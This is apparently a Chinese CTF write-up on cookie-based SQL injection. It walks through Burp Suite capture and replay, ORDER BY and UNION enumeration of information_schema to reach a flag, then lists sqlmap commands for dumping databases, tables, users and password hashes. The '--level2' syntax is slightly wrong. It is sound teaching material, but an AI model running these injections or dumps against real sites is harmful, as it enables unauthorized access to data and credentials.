手动注入
什么是Cookie?
百度的回答是一种能够让网站服务器把少量数据储存到客户端的硬盘或内存,或是从客户端的硬盘读取数据的一种技术。当用户第一次访问页面的时候,服务器会生成一个用户特有的Cookie,之后浏览器会根据用户设置的Cookie信息加载出内容
简单来说,Cookie其实就是用户凭证的意思
知道什么是Cookie后,得判断是否为Cookie注入,提交数据并非只有get、post这两种方式,还有一种经常被用到的方式,request方法,通过这种方法可以从用户提交的参数中获取参数值,这就造成了Cookie注入的最基本条件
打开bp软件(右边链接),开启foxyproxy插件后 ,刷新当前页面 ,找到cookie后面的传参地址和cookie后面的id=1。【https://mp.csdn.net/mp_blog/creation/editor/119118980】
利用bp里面的抓包和重放,可以做很多事情,抓到了id=1之后,开始用repeater进行改包和重放
先不进行改包,重放后发现回显内容正确,然后进行order by来排序
猜测是4,输入order by 4发现4报错,尝试order by 2
回显正确,开始查询数据库名【注意:使用union的时候,要让前面的条件为假】
爆了数据库,可以查询表啊,列啊,列类型或者列内容了,大致知道了cookie的注入手段后,后面的过程就和上面的整数型查询一样了
查询到了表名有两个,分别为news和hrzlbxfdvm,开始查询hrzlbxfdvm表内的内容
继续查询字段为zctilagqfw的列内容
得到flag,其实cookie注入和get还是post注入没有本质上的区别,只是注入的点不同。
【
column_name:列的名称
Information_schema.columns:表示所有的列的信息
Information_schema:表示所有信息,包括库、表、列
Information_schema.tables:表示所有的表的信息
table_schema:数据库的名称
table_name:表的名称
】
sqlmap注入
下载链接(支持py3)https://mp.csdn.net/mp_blog/creation/editor/119118980
关于sqlmap的基础命令,将url修改为需要注入的url即可
查询sqlmap是否存在注入命令
sqlmap.py -u url/?id=1
查询当前用户下的所有数据库
sqlmap.py -u url/?id=1 --dbs
获取数据库的表名
sqlmap.py -u url/?id=1 -D (数据库名) --tables
获取表中的字段名
sqlmap.py -u url/?id=1 -D (数据库名) -T (输入需要查询的表名) --columns
获取字段的内容
sqlmap.py -u url/?id=1 -D (数据库名) -T (输入需要查询的表名) -C (表内的字段名) --dump
查询数据库的所有用户
sqlmap.py -u url/?id=1 --users
查询数据库的所有密码
sqlmap.py -u url/?id=1 --passwords
查询数据库名称
sqlmap.py -u url/?id=1 --current-db
注意:这里对于sqlmap有相对应的条件,level不能为默认的1,得设置为2,既在命令末尾输入"--level2"
探测等级:level1,level2,level3,level4,level5【当不加level的时候,会默认为1】
这种参数会影响测试注入点的多少,5级包含的payload最多,如果说在不确定哪个payload或者参数可以作为注入点的时候,可以选择等级5,优点在于可以保证全面性,缺点在于运行速度极慢
当level为2的时候,会测试cookie,当level为3的时候,会测试referer